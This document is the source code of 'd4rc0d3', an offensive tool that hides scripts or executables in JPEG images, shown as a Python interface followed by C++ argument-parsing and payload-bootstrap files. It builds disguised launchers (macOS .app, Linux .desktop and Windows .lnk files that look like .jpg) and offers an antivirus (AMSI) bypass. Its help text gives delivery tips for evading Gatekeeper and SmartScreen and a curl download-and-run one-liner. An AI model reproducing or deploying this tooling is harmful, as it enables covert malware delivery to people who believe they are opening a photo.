'                 ▄▀▀▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄▄                      \n'
'                 ▀▀ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄                     \n'
'                 ▀▀ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                     \n'
'                 ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄▄▄                  \n'
'                ▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄▄               \n'
'             ▄▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄             \n'
'          ▄▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄           \n'
'        ▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀          \n'
'      ▄▀▀▀▀▀▀▀▀▀▀▀▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄        \n'
'     ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄       \n'
'     ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀       \n'
'     ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀       \n'
'     ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀        \n'
'      ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀         \n'
'       ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀           \n'
'        ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                 \n'
'          ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                  \n'
'           ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                  \n'
'           ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄                 \n'
'\n'
' d4rc0d3 v5.0 — jpeg polyglot payload generator\n'
' ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─\n'
'\n'
)
print(''.join(_LUCY))
default_img = os.path.join(os.path.dirname(__file__), 'cover.jpg')
img = input(f"Cover image [{default_img}]: ").strip() or default_img
if not os.path.isfile(img):
warn(f"Image not found: {img}"); sys.exit(1)
print(f"\n{C.BOLD}Payload type:{C.END}")
print(" 1) Inline command (runs everywhere, Slack-compatible)")
print(" 2) PowerShell .ps1 (Windows + Linux/macOS via pwsh)")
print(" 3) Script .py/.sh (Linux/macOS, base64+XOR in post-EOI)")
print(" 4) Binary .exe/.elf (any platform, base64+XOR in post-EOI)")
print(" 5) Combined: command + file")
ptype = input("Type [1]: ").strip() or '1'
command = ''
payload_file = ''
if ptype in ('1',):
command = input("Command [id > /tmp/pwned.txt]: ").strip() or 'id > /tmp/pwned.txt'
elif ptype in ('2', '3', '4'):
payload_file = input("Payload file path: ").strip()
if not os.path.isfile(payload_file):
warn(f"File not found: {payload_file}"); sys.exit(1)
elif ptype == '5':
command = input("Pre-command: ").strip()
payload_file = input("Payload file path: ").strip()
if not os.path.isfile(payload_file):
warn(f"File not found: {payload_file}"); sys.exit(1)
print(f"\n{C.BOLD}Output targets:{C.END}")
print(" 1) Polyglot JPEG only")
print(" 2) Polyglot + macOS .zip")
print(" 3) Polyglot + Linux .jpg (content detection)")
print(" 4) Polyglot + Linux .jpg.desktop")
print(" 5) Polyglot + Windows .lnk")
print(" 6) All")
targets_in = input("Targets [6]: ").strip() or '6'
targets = set()
if '1' in targets_in or '6' in targets_in: targets.add('polyglot')
if '2' in targets_in or '6' in targets_in: targets.add('mac')
if '3' in targets_in or '6' in targets_in: targets.add('linux-jpg')
if '4' in targets_in or '6' in targets_in: targets.add('linux-dot')
if '5' in targets_in or '6' in targets_in: targets.add('windows')
if not targets: targets = {'polyglot'}
amsi = input("Inject AMSI bypass (Windows AV evasion)? [Y/n]: ").strip().lower() != 'n'
out = input("Output directory [.]: ").strip() or '.'
show = input("Open image viewer on execution? [y/N]: ").strip().lower() == 'y'
return img, command, payload_file, targets, amsi, out, show
# ── Main ────────────────────────────────────────────────────────────────────────
def main():
parser = argparse.ArgumentParser(
prog='d4rc0d3',
description='JPEG polyglot payload generator — image that executes on open',
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog=textwrap.dedent("""\
PAYLOAD TYPES:
-c "cmd" inline command (Slack-safe, works everywhere)
file.ps1 PowerShell script (XOR-encrypted in ICC profile)
file.py / .sh script (base64+XOR in post-EOI, Linux/macOS)
file.exe / .elf binary (base64+XOR in post-EOI)
-c "cmd" file.ps1 combined: command runs first, then file
EXECUTION:
Linux/macOS: sh photo.jpg
Windows: powershell -ExecutionPolicy Bypass -File photo.jpg
PowerShell: Rename to .ps1, then pwsh photo.ps1
Double-click: use --mac / --linux / --windows flags
EXAMPLES:
python3 d4rc0d3.py -c photo.jpg "id > /tmp/p.txt"
python3 d4rc0d3.py photo.jpg payload.ps1 --windows --mac --linux
python3 d4rc0d3.py -c photo.jpg "calc.exe" --windows -o /tmp/out/
python3 d4rc0d3.py photo.jpg shell.py --linux --amsi -o /tmp/out/
"""),
)
parser.add_argument('image', nargs='?', help='Cover JPEG/PNG image')
parser.add_argument('payload', nargs='?', help='Payload file (.ps1/.py/.sh/.exe/...)')
parser.add_argument('-c', metavar='CMD', help='Inline shell command')
parser.add_argument('--mac', action='store_true', help='Also generate macOS .app bundle (ZIP)')
parser.add_argument('--linux', action='store_true', help='Also generate Linux .jpg (content detection)')
parser.add_argument('--linux-dot', action='store_true', help='Also generate Linux .jpg.desktop')
parser.add_argument('--windows', action='store_true', help='Also generate Windows .lnk')
parser.add_argument('--all', action='store_true', help='Generate all platform outputs')
parser.add_argument('--amsi', action='store_true', default=True,
help='Inject AMSI bypass for Windows AV evasion (default: on)')
parser.add_argument('--no-amsi', action='store_true', help='Disable AMSI bypass injection')
parser.add_argument('--show', action='store_true', help='Open image viewer on execution')
parser.add_argument('--keep', action='store_true', help='Keep extracted payload file')
parser.add_argument('-d', '--extract-dir', default='', help='Extraction directory (default: /tmp)')
parser.add_argument('-o', '--output', default='.', help='Output directory (default: .)')
args = parser.parse_args()
has_flag = any([args.image, args.c, args.mac, args.linux,
getattr(args, 'linux_dot', False), args.windows, args.all])
if not has_flag:
image, command, payload_file, targets, amsi, out, show = interactive()
else:
image = args.image or ''
command = args.c or ''
payload_file = args.payload or ''
amsi = args.amsi and not args.no_amsi
out = args.output
show = args.show
if not image:
parser.error("cover image is required")
if not command and not payload_file:
parser.error("provide -c 'command' or a payload file")
targets = {'polyglot'}
if args.mac or args.all: targets.add('mac')
if args.linux or args.all: targets.add('linux-jpg')
if getattr(args, 'linux_dot', False) or args.all: targets.add('linux-dot')
if args.windows or args.all: targets.add('windows')
if not os.path.isfile(image):
warn(f"Image not found: {image}"); sys.exit(1)
if payload_file and not os.path.isfile(payload_file):
warn(f"Payload not found: {payload_file}"); sys.exit(1)
os.makedirs(out, exist_ok=True)
name = stem(image)
poly_path = os.path.join(out, f"{name}.jpg")
generated = []
# ── Build polyglot ─────────────────────────────────────────────────────
head("Building JPEG polyglot")
try:
build_polyglot_av(image, poly_path, command, payload_file,
show, getattr(args, 'keep', False),
getattr(args, 'extract_dir', ''), amsi)
except Exception as e:
warn(str(e)); sys.exit(1)
ok(f"Polyglot JPEG → {poly_path} ({os.path.getsize(poly_path):,} bytes)")
ptype = 'inline command' if command and not payload_file else \
payload_type(payload_file) if payload_file else 'command+file'
info(f"Payload type: {ptype}")
info(f"AMSI bypass: {'injected' if amsi else 'skipped'}")
info(f"XOR key: embedded in ICC profile (offset 102)")
generated.append(('Polyglot JPEG', poly_path))
# ── Platform-specific launchers ────────────────────────────────────────
exec_cmd = command or f'sh "{poly_path}"'
if 'mac' in targets:
head("macOS .app bundle")
try:
z = build_macos(image, exec_cmd, out)
ok(f"macOS ZIP → {z} ({os.path.getsize(z):,} bytes)")
info(f"Finder shows: '{name}.jpg' (single .app extension, .app hidden by Finder)")
info(f"Double-click → Preview opens photo + payload runs in background")
info(f"Delivery: USB/LAN share to avoid Gatekeeper quarantine")
generated.append(('macOS (.app in ZIP)', z))
except Exception as e:
warn(f"macOS build failed: {e}")
if 'linux-jpg' in targets:
head("Linux .desktop (named .jpg)")
try:
# Use a distinct stem so it doesn't overwrite the polyglot
linux_img_copy = os.path.join(out, f"{name}_launch.jpg")
import shutil
shutil.copy2(image, linux_img_copy)
d = build_linux(linux_img_copy, exec_cmd, out, jpg_name=True)
ok(f"Linux .jpg → {d} ({os.path.getsize(d)} bytes)")
info(f"Name visible: '{name}_launch.jpg' (no .desktop in filename)")
info(f"Thunar / Nemo / Caja: executes on double-click (GIO content detection)")
info(f"Nautilus (GNOME): may show 'Trust and Launch' dialog")
generated.append(('Linux (content detection)', d))
except Exception as e:
warn(f"Linux build failed: {e}")
if 'linux-dot' in targets:
head("Linux .desktop (explicit extension)")
try:
d = build_linux(image, exec_cmd, out, jpg_name=False)
ok(f"Linux .desktop → {d} ({os.path.getsize(d)} bytes)")
info(f"Name visible: '{name}.jpg.desktop'")
info(f"All major file managers execute without dialog (except Nautilus)")
generated.append(('Linux (.desktop)', d))
except Exception as e:
warn(f"Linux .desktop build failed: {e}")
if 'windows' in targets:
head("Windows .lnk launcher")
try:
ps_cmd = (
f'powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass '
f'-File "{os.path.abspath(poly_path)}"'
)
lnk = build_windows_lnk(poly_path, out)
ok(f"Windows .lnk → {lnk} ({os.path.getsize(lnk)} bytes)")
info(f"Explorer shows: '{name}.jpg' (Explorer hides .lnk by default)")
info(f"Double-click → PowerShell runs the polyglot silently")
info(f"Requires: PowerShell (pre-installed on all modern Windows)")
info(f"SmartScreen: may warn for files from internet (deliver via USB/LAN)")
generated.append(('Windows (.lnk)', lnk))
except Exception as e:
warn(f"Windows .lnk build failed: {e}")
# ── Summary ────────────────────────────────────────────────────────────
print(f"\n{''*54}")
print(f"{C.BOLD}Generated:{C.END}")
for label, path in generated:
print(f" {C.GREEN}{C.END} [{label}]")
print(f" {path}")
print(f"\n{C.BOLD}Execution reference:{C.END}")
print(f" Linux / macOS: sh {os.path.basename(poly_path)}")
print(f" Windows: powershell -ExecutionPolicy Bypass -File {os.path.basename(poly_path)}")
print(f" PS rename: ren {name}.jpg {name}.ps1 && pwsh {name}.ps1")
if 'mac' in targets:
print(f" macOS click: extract {name}.zip → double-click {name}.jpg")
if 'windows' in targets:
print(f" Windows click: double-click {name}.jpg.lnk (shows as {name}.jpg)")
print(f"{''*54}\n")
if __name__ == '__main__':
main()
BIN
View File
Binary file not shown.
+377
View File
@@ -0,0 +1,377 @@
#include "args.h"
#include <cstdio>
#include <format>
#include <iostream>
#include <print>
#include <stdexcept>
#include <string>
#include <string_view>
namespace fs = std::filesystem;
namespace {
void printInteractiveBanner() {
std::print(R"(
d4rkc0d3 JPG Polyglot Embedder v4.0
)");
}
void printHelp(std::string_view prog) {
std::print(R"(
d4rkc0d3 v4.0 JPG Polyglot Embedder
Embeds scripts, executables, or inline commands within a JPG image,
creating a polyglot file that works as both a valid image and runnable code.
Supported payload types
Scripts: .ps1 .sh .bash .zsh .py .rb .pl .bat .cmd
Binaries: .exe .elf .bin .out .appimage .dll .so .dylib
.ps1 scripts are embedded directly (original behavior).
All other payloads are base64-encoded with an auto-extract bootstrap.
Usage (CLI mode)
{0} [-alt] [--keep] [--show] [--seq] [-d dir] [-o output] <cover_image> <payload_file>
{0} [-alt] [--keep] [--show] [--seq] [-d dir] [-o output] -c <cover_image> "commands"
{0} --help
Run without arguments for interactive mode.
Flags
-alt Use alternative tail patch
-o <name> Set output filename (default: d4rc0d3_<random>.jpg)
-c Inline PowerShell commands mode
--keep Keep extracted file after execution (don't auto-delete)
--show Open image in viewer when executing (stealth mode)
--seq Wait for image viewer to close before running payload
-d <path> Custom extraction directory (default: /tmp or system temp)
Examples
{0} cover.jpg script.ps1
{0} cover.jpg backdoor.sh
{0} cover.jpg calc.exe
{0} -c cover.jpg "hostname;whoami"
{0} -o stealth.jpg cover.jpg large.elf
Execution
Direct: ./output.jpg (Linux/Mac, already +x)
PowerShell: pwsh output.jpg
Windows: powershell -ExecutionPolicy Bypass -File output.jpg
One-liner:
curl -o i.jpg "URL" && chmod +x i.jpg && ./i.jpg
Max cover image size: 5MB.
)", prog);
}
[[nodiscard]] std::string trimWhitespace(const std::string& s) {
const auto start = s.find_first_not_of(" \t\r\n");
if (start == std::string::npos) return "";
const auto end = s.find_last_not_of(" \t\r\n");
return s.substr(start, end - start + 1);
}
[[nodiscard]] std::string cleanInputPath(const std::string& raw) {
std::string s = trimWhitespace(raw);
if (s.size() >= 2) {
if ((s.front() == '"' && s.back() == '"') ||
(s.front() == '\'' && s.back() == '\'')) {
s = s.substr(1, s.size() - 2);
}
}
std::string cleaned;
cleaned.reserve(s.size());
for (std::size_t i = 0; i < s.size(); ++i) {
if (s[i] == '\\' && i + 1 < s.size() && s[i + 1] == ' ') {
cleaned += ' ';
++i;
} else {
cleaned += s[i];
}
}
return cleaned;
}
[[nodiscard]] std::string readLine(std::string_view prompt) {
std::print(" {}", prompt);
std::fflush(stdout);
std::string line;
if (!std::getline(std::cin, line)) {
std::println("");
throw std::runtime_error("Input cancelled.");
}
return line;
}
[[nodiscard]] bool readYesNo(std::string_view prompt, bool default_val) {
const std::string s = trimWhitespace(readLine(prompt));
if (s.empty()) return default_val;
return s[0] == 'y' || s[0] == 'Y';
}
[[nodiscard]] std::string_view modeTag(PayloadMode mode) {
switch (mode) {
case PayloadMode::DirectPwsh: return "PowerShell (direct embed)";
case PayloadMode::Script: return "script (base64 bootstrap)";
case PayloadMode::Binary: return "binary (base64 bootstrap)";
case PayloadMode::Command: return "inline commands";
}
return "unknown";
}
[[nodiscard]] std::optional<ProgramArgs> interactiveMode() {
printInteractiveBanner();
std::println("\n Select payload mode:\n");
std::println(" [1] Inline commands only");
std::println(" [2] Script or executable");
std::println(" [3] Commands + script/executable");
const std::string mode_str = trimWhitespace(readLine("\n Mode (1-3): "));
if (mode_str != "1" && mode_str != "2" && mode_str != "3") {
throw std::runtime_error("Invalid mode selection. Expected 1, 2, or 3.");
}
const int mode = mode_str[0] - '0';
std::println("");
ProgramArgs args{};
const std::string image_raw = readLine("Cover image path: ");
args.image_file_path = fs::path(cleanInputPath(image_raw));
if (args.image_file_path.empty()) {
throw std::runtime_error("Cover image path cannot be empty.");
}
if (mode == 2 || mode == 3) {
const std::string payload_raw = readLine("Payload file path: ");
args.payload_file_path = fs::path(cleanInputPath(payload_raw));
if (args.payload_file_path.empty()) {
throw std::runtime_error("Payload file path cannot be empty.");
}
args.payload_mode = detectPayloadMode(args.payload_file_path);
std::println(" → Detected: {}", modeTag(args.payload_mode));
}
if (mode == 1 || mode == 3) {
const std::string cmd_raw = readLine("Inline commands: ");
args.inline_commands = trimWhitespace(cmd_raw);
if (args.inline_commands.empty()) {
throw std::runtime_error("Inline commands cannot be empty.");
}
if (mode == 1) {
args.payload_mode = PayloadMode::Command;
}
}
std::println("\n ── Options ──");
args.option = readYesNo("Alt tail patch? [y/N]: ", false) ? Option::Alt : Option::None;
args.show_image = readYesNo("Open image viewer on execution? [y/N]: ", false);
if (args.show_image) {
args.sequential = readYesNo("Wait for viewer to close before running payload? [y/N]: ", false);
}
if (mode == 2 || mode == 3) {
args.keep_extracted = readYesNo("Keep extracted file after execution? [y/N]: ", false);
const std::string dir_raw = readLine("Extraction directory [Enter = /tmp (Linux/Mac) or %%TEMP%% (Windows)]: ");
std::string dir = trimWhitespace(dir_raw);
if (!dir.empty()) {
args.extract_dir = dir;
}
}
const std::string name_raw = readLine("Output filename [Enter = d4rc0d3_<random>.jpg]: ");
std::string name = trimWhitespace(name_raw);
if (!name.empty() && fs::path(name).extension().empty()) {
name += ".jpg";
}
args.output_filename = name;
std::println("");
return args;
}
[[nodiscard]] std::string displayProgramName(std::string_view program_name) {
std::string prog = fs::path(program_name).filename().string();
if (prog.empty()) {
prog = "d4rkc0d3";
}
return prog;
}
[[nodiscard]] std::runtime_error usageError(std::string_view program_name) {
constexpr std::string_view PREFIX = "Usage: ";
const std::string prog = displayProgramName(program_name);
return std::runtime_error(std::format("{}{} [-alt] [--keep] [--show] [--seq] [-d dir] [-o output] <cover_image> <payload>\n"
"{}{} [-alt] [--keep] [--show] [--seq] [-d dir] [-o output] -c <cover_image> \"commands\"\n"
"{}{} --help\n"
"{}Run without arguments for interactive mode.",
PREFIX, prog,
std::string(PREFIX.size(), ' '), prog,
std::string(PREFIX.size(), ' '), prog,
std::string(PREFIX.size(), ' ')));
}
[[nodiscard]] const char* argumentAt(int argc, char** argv, int index, const char* program_name) {
if (argv == nullptr || index < 0 || index >= argc || argv[index] == nullptr) {
throw usageError(program_name);
}
return argv[index];
}
struct ParseState {
int next_arg = 1;
};
void parseFlags(int argc, char** argv, const char* program_name, ProgramArgs& out, ParseState& state) {
while (state.next_arg < argc) {
const std::string_view arg = argumentAt(argc, argv, state.next_arg, program_name);
if (arg == "-alt") {
out.option = Option::Alt;
++state.next_arg;
} else if (arg == "--keep") {
out.keep_extracted = true;
++state.next_arg;
} else if (arg == "--show") {
out.show_image = true;
++state.next_arg;
} else if (arg == "--seq") {
out.sequential = true;
++state.next_arg;
} else if (arg == "-d") {
++state.next_arg;
if (state.next_arg >= argc) {
throw std::runtime_error("-d requires an extraction directory path.");
}
out.extract_dir = argumentAt(argc, argv, state.next_arg, program_name);
if (out.extract_dir.empty()) {
throw std::runtime_error("-d requires a non-empty path.");
}
++state.next_arg;
} else if (arg == "-o") {
++state.next_arg;
if (state.next_arg >= argc) {
throw std::runtime_error("-o requires an output filename.");
}
out.output_filename = argumentAt(argc, argv, state.next_arg, program_name);
if (out.output_filename.empty()) {
throw std::runtime_error("-o requires a non-empty filename.");
}
if (fs::path(out.output_filename).extension().empty()) {
out.output_filename += ".jpg";
}
++state.next_arg;
} else {
break;
}
}
}
void parseCommandMode(int argc, char** argv, const char* program_name, ProgramArgs& out, ParseState& state) {
if (state.next_arg >= argc) {
throw usageError(program_name);
}
const std::string_view arg = argumentAt(argc, argv, state.next_arg, program_name);
if (arg == "-c") {
out.payload_mode = PayloadMode::Command;
++state.next_arg;
if (state.next_arg + 1 >= argc) {
throw usageError(program_name);
}
out.image_file_path = fs::path(argumentAt(argc, argv, state.next_arg, program_name));
++state.next_arg;
out.inline_commands = argumentAt(argc, argv, state.next_arg, program_name);
++state.next_arg;
if (out.image_file_path.empty() || out.inline_commands.empty()) {
throw usageError(program_name);
}
return;
}
if (state.next_arg + 1 >= argc) {
throw usageError(program_name);
}
out.image_file_path = fs::path(argumentAt(argc, argv, state.next_arg, program_name));
++state.next_arg;
out.payload_file_path = fs::path(argumentAt(argc, argv, state.next_arg, program_name));
++state.next_arg;
if (out.image_file_path.empty() || out.payload_file_path.empty()) {
throw usageError(program_name);
}
out.payload_mode = detectPayloadMode(out.payload_file_path);
}
}
std::optional<ProgramArgs> ProgramArgs::parse(int argc, char** argv) {
const char* program_name = (argc > 0 && argv != nullptr && argv[0] != nullptr) ? argv[0] : "d4rkc0d3";
if (argc < 2) {
return interactiveMode();
}
const std::string_view first_arg = argumentAt(argc, argv, 1, program_name);
if (first_arg == "--help" || first_arg == "--info") {
if (argc != 2) {
throw usageError(program_name);
}
printHelp(displayProgramName(program_name));
return std::nullopt;
}
ProgramArgs out{};
ParseState state{};
state.next_arg = 1;
parseFlags(argc, argv, program_name, out, state);
parseCommandMode(argc, argv, program_name, out, state);
if (state.next_arg != argc) {
throw usageError(program_name);
}
return out;
}
+24
View File
@@ -0,0 +1,24 @@
#pragma once
#include "bootstrap.h"
#include <filesystem>
#include <optional>
#include <string>
enum class Option : unsigned char { None, Alt };
struct ProgramArgs {
Option option{Option::None};
PayloadMode payload_mode{PayloadMode::DirectPwsh};
std::filesystem::path image_file_path;
std::filesystem::path payload_file_path;
std::string inline_commands;
std::string output_filename;
bool keep_extracted{false};
bool show_image{false};
bool sequential{false};
std::string extract_dir;
static std::optional<ProgramArgs> parse(int argc, char** argv);
};
+556
View File
@@ -0,0 +1,556 @@
#include "bootstrap.h"
#include <algorithm>
#include <array>
#include <cctype>
#include <format>
#include <random>
#include <span>
#include <stdexcept>
#include <string>
#include <string_view>
namespace {
constexpr std::string_view BASE64_CHARS =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
[[nodiscard]] std::string base64Encode(std::span<const Byte> input) {
std::string result;
result.reserve(((input.size() + 2) / 3) * 4);
std::size_t i = 0;
while (i + 2 < input.size()) {
const auto triple =
(static_cast<uint32_t>(input[i]) << 16) |
(static_cast<uint32_t>(input[i + 1]) << 8) |
static_cast<uint32_t>(input[i + 2]);
result += BASE64_CHARS[(triple >> 18) & 0x3F];
result += BASE64_CHARS[(triple >> 12) & 0x3F];
result += BASE64_CHARS[(triple >> 6) & 0x3F];
result += BASE64_CHARS[ triple & 0x3F];
i += 3;
}
if (i < input.size()) {
auto triple = static_cast<uint32_t>(input[i]) << 16;
if (i + 1 < input.size()) {
triple |= static_cast<uint32_t>(input[i + 1]) << 8;
}
result += BASE64_CHARS[(triple >> 18) & 0x3F];
result += BASE64_CHARS[(triple >> 12) & 0x3F];
result += (i + 1 < input.size())
? BASE64_CHARS[(triple >> 6) & 0x3F]
: '=';
result += '=';
}
return result;
}
[[nodiscard]] std::string toLowerExt(const std::filesystem::path& p) {
std::string ext = p.extension().string();
std::ranges::transform(ext, ext.begin(), [](unsigned char c) {
return static_cast<char>(std::tolower(c));
});
return ext;
}
struct InterpreterInfo {
std::string_view ext;
std::string_view interpreter;
bool is_script;
};
constexpr auto INTERPRETER_MAP = std::to_array<InterpreterInfo>({
{ ".sh", "bash", true },
{ ".bash", "bash", true },
{ ".zsh", "zsh", true },
{ ".py", "python3", true },
{ ".rb", "ruby", true },
{ ".pl", "perl", true },
{ ".bat", "cmd /c", true },
{ ".cmd", "cmd /c", true },
});
constexpr auto BINARY_EXTENSIONS = std::to_array<std::string_view>({
".exe", ".elf", ".bin", ".out", ".appimage",
".dll", ".so", ".dylib",
});
[[nodiscard]] bool isBinaryExtension(std::string_view ext) {
return std::ranges::any_of(BINARY_EXTENSIONS, [&](std::string_view be) {
return ext == be;
});
}
[[nodiscard]] std::string_view interpreterForExtension(std::string_view ext) {
for (const auto& entry : INTERPRETER_MAP) {
if (entry.ext == ext) {
return entry.interpreter;
}
}
return {};
}
// ── XOR helpers ─────────────────────────────────────────
[[nodiscard]] vBytes xorEncode(std::span<const Byte> data, std::span<const Byte> key) {
vBytes result(data.size());
for (std::size_t i = 0; i < data.size(); ++i) {
result[i] = data[i] ^ key[i % key.size()];
}
return result;
}
[[nodiscard]] std::string formatNumericArray(std::span<const Byte> data) {
std::string result;
result.reserve(data.size() * 4);
for (std::size_t i = 0; i < data.size(); ++i) {
if (i > 0) result += ',';
result += std::to_string(data[i]);
}
return result;
}
[[nodiscard]] std::string formatOctalEscaped(std::string_view s) {
std::string result;
result.reserve(s.size() * 4);
for (auto ch : s) {
result += std::format("\\{:03o}", static_cast<unsigned char>(ch));
}
return result;
}
[[nodiscard]] std::string formatPsCharArray(std::string_view s) {
std::string result;
result.reserve(s.size() * 4);
for (std::size_t i = 0; i < s.size(); ++i) {
if (i > 0) result += ',';
result += std::to_string(static_cast<unsigned char>(s[i]));
}
return result;
}
// Resolves $_p to the running script path.
// Works for: pwsh file.ps1, pwsh file.jpg, pwsh -File file.jpg,
// powershell -ExecutionPolicy Bypass -File file.jpg
constexpr std::string_view PS_RESOLVE_PATH =
"$_p=$MyInvocation.MyCommand.Path;"
"if([string]::IsNullOrEmpty($_p)){"
"$_ca=[Environment]::GetCommandLineArgs();"
"for($_ci=0;$_ci-lt$_ca.Length-1;$_ci++){"
"if($_ca[$_ci]-eq'-File'-or$_ca[$_ci]-eq'-f'){"
"$_p=$_ca[$_ci+1];break"
"}"
"};"
"if([string]::IsNullOrEmpty($_p)-and$_ca.Length-ge2){"
"$_p=$_ca[1]"
"}"
"};";
[[nodiscard]] std::string psKeyDerivation() {
return std::string(PS_RESOLVE_PATH) +
std::format(
"$_f=[IO.File]::ReadAllBytes($_p);"
"$_a=0;for($j=0;$j-lt$_f.Length-1;$j++)"
"{{if($_f[$j]-eq0xFF-and$_f[$j+1]-eq0xE2){{$_a=$j;break}}}};"
"$_k=[byte[]]::new({1});for($j=0;$j-lt{1};$j++)"
"{{$_k[$j]=$_f[$_a+{0}+$j]}}",
ICC_KEY_OFFSET, XOR_KEY_LENGTH);
}
[[nodiscard]] std::string wrapPsXorStub(
